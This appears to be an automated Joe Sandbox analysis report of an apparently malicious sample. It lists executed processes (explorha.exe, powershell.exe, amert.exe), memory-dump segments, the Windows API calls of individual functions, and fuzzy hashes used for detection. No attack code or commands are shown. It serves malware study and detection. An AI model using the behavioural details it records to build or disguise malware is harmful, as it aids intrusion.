Associated: 00000003.00000002.2152125808.000000000097D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2152151116.0000000000980000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2152180833.000000000098A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2152220435.000000000098B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2152220435.00000000009C3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2152294324.00000000009F6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2152324625.00000000009F7000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2152355017.00000000009F8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2152382475.00000000009FD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2152409880.00000000009FF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2152436972.0000000000A0B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2152462990.0000000000A0D000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_700000_explorha.jbxd

Yara matches

Similarity

API ID: send
String ID:
API String ID: 2809346765-0
Opcode ID: c12e74bb71e80b5cbba7453acb98be12fd41cb6e18e09374fa949a458735cc21
Instruction ID: de6d1e44175e4cde55b6a2ad460fe1b4b71adf537b0e39bf1d63b82ca77bd574
Opcode Fuzzy Hash: c12e74bb71e80b5cbba7453acb98be12fd41cb6e18e09374fa949a458735cc21
Instruction Fuzzy Hash: 7241D872E00214DBDB288BBCDC957AEB7B4AF45324F104369EC19E33D1DA38AD408B95

Uniqueness

Uniqueness Score: -1.00%

Function 0071D202 Relevance: 6.1, APIs: 4, Instructions: 80COMMON

Download Yara Rule

APIs

_xtime_get.LIBCPMT ref: 0071D25A
__Xtime_diff_to_millis2.LIBCPMT ref: 0071D274
_xtime_get.LIBCPMT ref: 0071D297
__Xtime_diff_to_millis2.LIBCPMT ref: 0071D2A3

Memory Dump Source

Source File: 00000003.00000002.2151058621.0000000000701000.00000040.00000001.01000000.00000008.sdmp, Offset: 00700000, based on PE: true

Associated: 00000003.00000002.2151023835.0000000000700000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151058621.0000000000764000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151144580.0000000000769000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151175401.000000000076B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151203725.0000000000775000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151234734.0000000000776000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151261377.0000000000777000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151380748.00000000008D1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151409148.00000000008D3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151441167.00000000008E2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151473024.00000000008E3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151500663.00000000008E4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151500663.00000000008EF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151566498.00000000008F8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151599544.00000000008F9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151627064.0000000000902000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151654854.0000000000909000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151686222.000000000091D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151710781.000000000091F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151736052.0000000000920000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151766410.0000000000932000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151802690.000000000094F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151830791.0000000000950000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151857043.0000000000951000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151884415.0000000000956000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151914320.0000000000957000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151940989.000000000095F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151964516.0000000000960000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151990040.0000000000962000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2152020128.000000000096A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2152046032.000000000096C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2152071170.0000000000977000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2152099497.000000000097C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2152125808.000000000097D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2152151116.0000000000980000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2152180833.000000000098A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2152220435.000000000098B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2152220435.00000000009C3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2152294324.00000000009F6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2152324625.00000000009F7000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2152355017.00000000009F8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2152382475.00000000009FD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2152409880.00000000009FF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2152436972.0000000000A0B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2152462990.0000000000A0D000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_700000_explorha.jbxd

Yara matches

Similarity

API ID: Xtime_diff_to_millis2_xtime_get
String ID:
API String ID: 531285432-0
Opcode ID: 880257fb6015feed8a9167f03d418d4b7af9960ec41e864ab11c5b83646c3ac4
Instruction ID: 3ace18804f7452dd607bd0150a9767cece3538ce40f37e3bfa77f63bba975bd4
Opcode Fuzzy Hash: 880257fb6015feed8a9167f03d418d4b7af9960ec41e864ab11c5b83646c3ac4
Instruction Fuzzy Hash: 25212C75A00219EFDF10EFA8DC859EEBBB9BF49314F100055F901A7291D6789E819BA1

Uniqueness

Uniqueness Score: -1.00%

Function 0074097F Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 113COMMONLIBRARYCODE

Download Yara Rule

APIs

___free_lconv_mon.LIBCMT ref: 007409C3

Strings

`Gv, xrefs: 00740995
8Bv, xrefs: 00740A6B

Memory Dump Source

Source File: 00000003.00000002.2151058621.0000000000701000.00000040.00000001.01000000.00000008.sdmp, Offset: 00700000, based on PE: true

Associated: 00000003.00000002.2151023835.0000000000700000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151058621.0000000000764000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151144580.0000000000769000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151175401.000000000076B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151203725.0000000000775000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151234734.0000000000776000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151261377.0000000000777000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151380748.00000000008D1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151409148.00000000008D3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151441167.00000000008E2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151473024.00000000008E3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151500663.00000000008E4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151500663.00000000008EF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151566498.00000000008F8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151599544.00000000008F9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151627064.0000000000902000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151654854.0000000000909000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151686222.000000000091D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151710781.000000000091F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151736052.0000000000920000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151766410.0000000000932000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151802690.000000000094F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151830791.0000000000950000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151857043.0000000000951000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151884415.0000000000956000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151914320.0000000000957000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151940989.000000000095F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151964516.0000000000960000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151990040.0000000000962000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2152020128.000000000096A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2152046032.000000000096C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2152071170.0000000000977000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2152099497.000000000097C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2152125808.000000000097D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2152151116.0000000000980000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2152180833.000000000098A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2152220435.000000000098B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2152220435.00000000009C3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2152294324.00000000009F6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2152324625.00000000009F7000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2152355017.00000000009F8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2152382475.00000000009FD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2152409880.00000000009FF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2152436972.0000000000A0B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2152462990.0000000000A0D000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_700000_explorha.jbxd

Yara matches

Similarity

API ID: ___free_lconv_mon
String ID: 8Bv$`Gv
API String ID: 3903695350-1396405441
Opcode ID: 9bb912093dce9b932f4f62738287f1ae57d2f2298621559bb01b3ce4bfe820b8
Instruction ID: d03ecb5a9f5dcac42f9a4a0f19f5e475cf2bda1515162e2575b73cb7eeab06bb
Opcode Fuzzy Hash: 9bb912093dce9b932f4f62738287f1ae57d2f2298621559bb01b3ce4bfe820b8
Instruction Fuzzy Hash: 78314F31604745DFEB21AE78D849BA677E9BF40350F208429E599E7292DF7DEC80CB90

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: powershell.exePID: 3176, Parent PID: 3356COMMON

Executed Functions

Function 00007FF848CC7808 Relevance: .3, Instructions: 259COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.2820981268.00007FF848CB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848CB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff848cb0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cf060aee85cead54f7d0898474a1c853a3ff5ba6a9969df129f040243e384edf
Instruction ID: 556a19ee663a73757ba0f03b4df111e12885eee1467cbc17ae3b7dd2cc54fcf5
Opcode Fuzzy Hash: cf060aee85cead54f7d0898474a1c853a3ff5ba6a9969df129f040243e384edf
Instruction Fuzzy Hash: 20713B3071CD098FDB98EA2DD495A7A73D2EF99354B14416CE05EC76E2CE24FC42AB48

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF848D855CD Relevance: .3, Instructions: 257COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.2823333697.00007FF848D80000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848D80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff848d80000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 399058d9cb95cac132d6add329c7568897033c03962f17ab5dcd5f16ac80094d
Instruction ID: b1f11e5b7e9fd7398c2b5df723874fee816feae6a166035ceb578ea69d89923c
Opcode Fuzzy Hash: 399058d9cb95cac132d6add329c7568897033c03962f17ab5dcd5f16ac80094d
Instruction Fuzzy Hash: 2471E621D0FBC54FE766A738186A6A47FB0EF52650F1D01FBC099CB1E3EA18584E8356

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF848D8BD34 Relevance: .2, Instructions: 154COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.2823333697.00007FF848D80000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848D80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff848d80000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6c3d6257d29c8b894d816da0e288859105b8c2b5a470a244e659e305db5ba1eb
Instruction ID: 5c22b2b0c1b4dcc4cb6d71912e6f7119dd5edc29f621a1a4fbfa23ef3e763516
Opcode Fuzzy Hash: 6c3d6257d29c8b894d816da0e288859105b8c2b5a470a244e659e305db5ba1eb
Instruction Fuzzy Hash: F5411A32F1DE595FE7A9AA1C78122B873C1EF85660F4802BBD55FC3182DF15AC0646C9

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF848CC77C0 Relevance: .1, Instructions: 147COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.2820981268.00007FF848CB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848CB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff848cb0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e643aab23ec5501894ab9af93392d920f599ac49e4e04b73f55089feb4f233e6
Instruction ID: 236a8761ff3dec52721da9752d4dd3c285656ec8bfcbc279e1a1e986eda65501
Opcode Fuzzy Hash: e643aab23ec5501894ab9af93392d920f599ac49e4e04b73f55089feb4f233e6
Instruction Fuzzy Hash: D4311562E1CD4A1FE3A8EA6C945A67573C1EF58791F4001BED48EC32D3DE08A8468289

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF848D8572D Relevance: .1, Instructions: 92COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.2823333697.00007FF848D80000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848D80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff848d80000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c854a27b1ac37ec01c40c16d801f36718bb65cacdf8e1ddc241b140ee2afeeb4
Instruction ID: e5c8bff8948f7c141cc8728bdfc12d43cdd71b1818ce9721c6a185f0fdc72a57
Opcode Fuzzy Hash: c854a27b1ac37ec01c40c16d801f36718bb65cacdf8e1ddc241b140ee2afeeb4
Instruction Fuzzy Hash: 5821712190FBC15FD36257385C696A57FB0EF13260F0942EBC0A6CB1E3DA18684AC766

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF848D8BD68 Relevance: .1, Instructions: 71COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.2823333697.00007FF848D80000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848D80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff848d80000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a695dcf752f4c7f958b898c53f14751034ea141fd685c3a86080328fa207b41b
Instruction ID: 21c0ceff46724caa1bfd111826551c52603388a8ca2ac089344751fb32fd2f42
Opcode Fuzzy Hash: a695dcf752f4c7f958b898c53f14751034ea141fd685c3a86080328fa207b41b
Instruction Fuzzy Hash: BC11CC32F1DE155FE3A9A51C34122B873C2EF85671F4802BAD45FC3286DE156C06058D

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF848CB33B5 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.2820981268.00007FF848CB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848CB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff848cb0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5e0cd8e44b86cda1606cdcda3d5cd9c82b965f1b77ca43a9ede1ee8a995a9426
Instruction ID: 6037ff74da3c8272be87e1aa7ead4f420cb197e537937a16625ab783ce59eaa1
Opcode Fuzzy Hash: 5e0cd8e44b86cda1606cdcda3d5cd9c82b965f1b77ca43a9ede1ee8a995a9426
Instruction Fuzzy Hash: AD01A73010CB0C4FD744EF0CE051AA6B3E0FB95360F10052DE58AC3651DB36E882CB45

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: amert.exePID: 1988, Parent PID: 4484COMMON

Execution Graph

Execution Coverage:	5.8%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	546
Total number of Limit Nodes:	22

Executed Functions

Function 00395E8B Relevance: 1.5, APIs: 1, Instructions: 24
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ExitProcess.KERNEL32(00000000,?,00395E8A,?,?,00000000,?), ref: 00395EC7

Memory Dump Source

Source File: 0000000E.00000002.2839016933.0000000000361000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00360000, based on PE: true

Associated: 0000000E.00000002.2835246894.0000000000360000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000E.00000002.2839016933.00000000003C1000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000E.00000002.2840464750.00000000003C6000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000E.00000002.2840617908.00000000003C8000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000E.00000002.2840617908.0000000000556000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000E.00000002.2840617908.0000000000633000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000E.00000002.2840617908.000000000065E000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000E.00000002.2840617908.0000000000665000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000E.00000002.2840617908.0000000000674000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000E.00000002.2843409544.0000000000675000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000E.00000002.2844289353.0000000000813000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000E.00000002.2844344385.0000000000815000.00000080.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_360000_amert.jbxd

Yara matches

Similarity

API ID: ExitProcess
String ID:
API String ID: 621844428-0
Opcode ID: 42a8de1e29e87ba29efcf3e187c84ad4d702fad603abb68486fb5eacfbbeb98d
Instruction ID: 34dd0e55c916d3d2e71873f65e7609b4ebd213d066f08c8fe4abf08691c682c5
Opcode Fuzzy Hash: 42a8de1e29e87ba29efcf3e187c84ad4d702fad603abb68486fb5eacfbbeb98d
Instruction Fuzzy Hash: 0FE08C30802648AFCE27BB15D915A8E3B1AEF11346F114805FC084A222CF7AFE82CA80

Uniqueness

Uniqueness Score: -1.00%

Function 003652E0 Relevance: 4.6, APIs: 3, Instructions: 134
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegOpenKeyExA.KERNELBASE(80000002,?,00000000,00000001,?), ref: 0036535D
RegQueryValueExA.KERNELBASE(?,?,00000000,00000000,?,?), ref: 0036538B
RegCloseKey.KERNELBASE(?), ref: 00365397

Memory Dump Source

Source File: 0000000E.00000002.2839016933.0000000000361000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00360000, based on PE: true

Associated: 0000000E.00000002.2835246894.0000000000360000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000E.00000002.2839016933.00000000003C1000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000E.00000002.2840464750.00000000003C6000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000E.00000002.2840617908.00000000003C8000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000E.00000002.2840617908.0000000000556000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000E.00000002.2840617908.0000000000633000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000E.00000002.2840617908.000000000065E000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000E.00000002.2840617908.0000000000665000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000E.00000002.2840617908.0000000000674000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000E.00000002.2843409544.0000000000675000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000E.00000002.2844289353.0000000000813000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000E.00000002.2844344385.0000000000815000.00000080.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_360000_amert.jbxd

Yara matches

Similarity

API ID: CloseOpenQueryValue
String ID:
API String ID: 3677997916-0
Opcode ID: 3863a3c6d7be9beb69b2804c1158b6f9c5c2f039ac13be15bfbe58a0024d5356
Instruction ID: 230fef93c7b9d59d65eebc6f95785d4a86234f49c20bc3d2654679cd3184443a
Opcode Fuzzy Hash: 3863a3c6d7be9beb69b2804c1158b6f9c5c2f039ac13be15bfbe58a0024d5356
Instruction Fuzzy Hash: DB41E4B16101089FEB25CF14CC41BEE77B9EB45704F1086ADF919972C1DB75AAC48BA4

Uniqueness

Uniqueness Score: -1.00%

Function 00366B70 Relevance: 2.1, APIs: 1, Instructions: 551
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetNativeSystemInfo.KERNELBASE(?), ref: 00366D13

Memory Dump Source

Source File: 0000000E.00000002.2839016933.0000000000361000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00360000, based on PE: true

Associated: 0000000E.00000002.2835246894.0000000000360000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000E.00000002.2839016933.00000000003C1000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000E.00000002.2840464750.00000000003C6000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000E.00000002.2840617908.00000000003C8000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000E.00000002.2840617908.0000000000556000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000E.00000002.2840617908.0000000000633000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000E.00000002.2840617908.000000000065E000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000E.00000002.2840617908.0000000000665000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000E.00000002.2840617908.0000000000674000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000E.00000002.2843409544.0000000000675000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000E.00000002.2844289353.0000000000813000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000E.00000002.2844344385.0000000000815000.00000080.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_360000_amert.jbxd

Yara matches

Similarity

API ID: InfoNativeSystem
String ID:
API String ID: 1721193555-0
Opcode ID: da97ba8c73a15d4beec473ac58151c988ff3c7042382b6b616481361df08b7b2
Instruction ID: 5c7bf30ab9d179878767eaf03c9c0463d269ee882a063a16d0ef07c39315dab3
Opcode Fuzzy Hash: da97ba8c73a15d4beec473ac58151c988ff3c7042382b6b616481361df08b7b2
Instruction Fuzzy Hash: 72122970E042049BDF26EB28CD467AD7775EB42314F94829CE819AB3C6DB355E808BD2

Uniqueness

Uniqueness Score: -1.00%

Function 00369C90 Relevance: 1.8, APIs: 1, Instructions: 560
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CoInitialize.OLE32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00369EB8

Memory Dump Source

Source File: 0000000E.00000002.2839016933.0000000000361000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00360000, based on PE: true

Associated: 0000000E.00000002.2835246894.0000000000360000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000E.00000002.2839016933.00000000003C1000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000E.00000002.2840464750.00000000003C6000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000E.00000002.2840617908.00000000003C8000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000E.00000002.2840617908.0000000000556000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000E.00000002.2840617908.0000000000633000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000E.00000002.2840617908.000000000065E000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000E.00000002.2840617908.0000000000665000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000E.00000002.2840617908.0000000000674000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000E.00000002.2843409544.0000000000675000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000E.00000002.2844289353.0000000000813000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000E.00000002.2844344385.0000000000815000.00000080.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_360000_amert.jbxd

Yara matches

Similarity

API ID: Initialize
String ID:
API String ID: 2538663250-0
Opcode ID: c1cb2d0674b4ba37f4c5656c97cce0e411b6f22f5a1c0ad3f9b9f27932c49acf
Instruction ID: 5704a25f1fb792b62a39a38033f848a4a488ddf90d348b806eb117b9bcd273bd
Opcode Fuzzy Hash: c1cb2d0674b4ba37f4c5656c97cce0e411b6f22f5a1c0ad3f9b9f27932c49acf
Instruction Fuzzy Hash: 2732BD71A102189FDB29CF28CC89BDDB7B5EF49304F1085D8E409AB295DB75AE84CF91

Uniqueness

Uniqueness Score: -1.00%

Function 0039CDF5 Relevance: 1.7, APIs: 1, Instructions: 198
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 0000000E.00000002.2839016933.0000000000361000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00360000, based on PE: true

Associated: 0000000E.00000002.2835246894.0000000000360000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000E.00000002.2839016933.00000000003C1000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000E.00000002.2840464750.00000000003C6000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000E.00000002.2840617908.00000000003C8000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000E.00000002.2840617908.0000000000556000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000E.00000002.2840617908.0000000000633000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000E.00000002.2840617908.000000000065E000.00000040.00000001.01000000.0000000F.sdmpDownload File
